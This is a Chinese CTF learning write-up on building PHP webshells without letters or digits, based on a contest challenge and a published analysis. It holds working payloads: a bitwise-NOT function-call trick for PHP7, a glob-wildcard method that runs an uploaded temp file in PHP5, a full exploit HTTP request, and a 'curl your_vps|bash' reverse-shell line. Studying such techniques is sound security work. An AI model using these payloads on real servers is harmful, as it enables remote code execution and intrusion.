无字母数字webshell学习

安恒月赛的题目,被p神拿出来分析了一下,趁机学习一下新知识

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

利用这个可以执行任意代码吗?理论是可以的

php7

给出一个php的间接使用变量属性方法的表 php7允许使用($a)();执行函数,举个例子

1
%8F%97%8F%96%91%99%90 <=> urlencode(~'phpinfo')

那么我们把左边取反输入到code phpinfo得到执行 执行任意代码,比如 system('id') 如果想要反弹shell可以

1
curl your_vpsbash

反正我的并没有超字符限制...

php5

php5就不一样了,如果同样用php7执行phpinfo的方法会有语法错误,因为php5并不能($a)();执行函数 那么怎么利用呢,我们可以用到linux下的几个知识点

shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替,比如 *可以代替0个及以上任意字符 ?可以代表1个任意字符

而且用.来执行命令是不需要x的权限的,那么只要服务器有我们的文件,我们就可以用.去执行 而为了避免字母我们可以用?代替,比如

1
2
3
4
5
root@1811de971fc8:/tmp# ls
phpyhwwPd
root@1811de971fc8:/tmp# . /???/php??????
uid=0(root) gid=0(root) groups=0(root)
root@1811de971fc8:/tmp#

但是如果列出所有的/???/?????????

1
2
3
4
5
root@1811de971fc8:/tmp# ls /???/?????????
/bin/run-parts /etc/host.conf /etc/issue.net /etc/localtime /etc/securetty /tmp/phpyhwwPd

/etc/profile.d:
root@1811de971fc8:/tmp#

其实还有其他的文件,那我们怎么获得需要的/tmp下面的临时文件呢? linux的文档里面有写http://man7.org/linux/man-pages/man7/glob.7.html 我们可以用[^.]排除点,同理可以排除-

1
2
3
4
5
root@1811de971fc8:/tmp# ls /???/???[^-][^.][^.]???
/etc/localtime /etc/securetty /tmp/phpyhwwPd

/etc/profile.d:
root@1811de971fc8:/tmp#

这个时候还有两个干扰文件,想到临时文件中可能有大写字母,而大写字母都在@[中间,那么可以用[@-[]表示大写字母

1
2
3
root@1811de971fc8:/tmp# . /???/???[^-][^.][^.]?[@-[]?
uid=0(root) gid=0(root) groups=0(root)
root@1811de971fc8:/tmp#

最后带上一个php执行shell的小trick

1
2
<?php
eval('?><?=`ls`;')

可以发现其实是有回显的命令执行 一叶飘零博客也写到过

1
<?=$flag='123';?>

相当于

1
2
3
4
<?php
$flag='123';
echo $flag;
?>

那么最后payload为?><?=`. /???/????????[@-[]`;?> 记得urlencode一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /index.php?code=%3F%3E%3C%3F%3D%60.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%3F%60%3B%3F%3E HTTP/1.1
Host: 127.0.0.1:9091
Content-Length: 169
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3sBjBSfSNZn70MBF
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundary3sBjBSfSNZn70MBF
Content-Disposition: form-data; name="file"; filename="1.sh"

# !/bin/bash

id

------WebKitFormBoundary3sBjBSfSNZn70MBF--

参考文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html http://skysec.top/2018/07/26/MeePwn-Web-%E5%A4%8D%E7%8E%B0/